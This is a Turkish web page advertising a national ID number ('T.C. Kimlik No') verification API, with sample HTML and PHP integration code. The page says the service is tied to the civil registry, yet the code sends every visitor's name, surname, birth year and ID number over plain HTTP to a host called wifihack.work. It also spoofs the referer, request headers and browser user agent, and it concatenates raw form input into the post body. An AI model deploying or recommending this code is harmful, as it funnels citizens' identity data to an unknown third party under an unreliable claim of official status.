Güvenli

T.C Kimlik No Doğrulama Sistemi

T.C Kimlik No doğrulamak için geliştirilmiştir.Sistem nüfus ve vatandaşlık işleri genel müdürlüğüne bağlı olarak çalışmaktadır.

Sitenize Entegre Etmek için (API Sistemi)


API Link: http://wifihack.work/assets/ajax/ajax.php?out=8

POST Formatı: JSON / POST

Varsayılan Response: {"error":false,"message":false}

Parametreler: birthday,name,surname,tcnumber


ÖRNEK KOD (İNDİR)

index.php
 
<!DOCTYPE HTML>
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<form id="tc_form" method="post" onsubmit="tc_kontrol(this);" action="javascript:void(0);">
<input type="text" name="isim" placeholder="AD" autocomplete="off" required />
<input type="text" name="soyad" placeholder="SOYAD" autocomplete="off" required />
<input type="number" name="dogum" placeholder="DOĞUM TARİHİ" maxlength="4" min="1000" autocomplete="off" required />
<input type="number" name="tckimlik" placeholder="TC KİMLİK NO" maxlength="11" min="10000000000" autocomplete="off" required />
<button type="submit">KONTROL ET</button>
</form>
<br />
<h1 id="sonuc"></h1>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script type="text/javascript"> 
function tc_kontrol(){
$.ajax({
type: "POST", 
dataType: "JSON",
data: $('#tc_form').serialize(),
url: "kontrol.php", 
success:function(r) 
{
if(r.error){
$('#sonuc').html(r.error);
} else if(r.message){
$('#sonuc').html(r.message);
}
}
});
}
</script>
</body>
</html>
kontrol.php
 
<?php
error_reporting(0);
 
$postVerileri = "name={$_POST['isim']}&surname={$_POST['soyad']}&birthday={$_POST['dogum']}&tcnumber={$_POST['tckimlik']}";
 
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, "http://wifihack.work/assets/ajax/ajax.php?out=8");
curl_setopt($curl, CURLOPT_REFERER, "http://wifihack.work");
curl_setopt($curl, CURLOPT_HTTPHEADER, array("X-Requested-With: XMLHttpRequest"));
curl_setopt($curl, CURLOPT_POSTFIELDS, $postVerileri);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16");
$curlJson = curl_exec($curl);
curl_close($curl);
 
echo $curlJson;
?>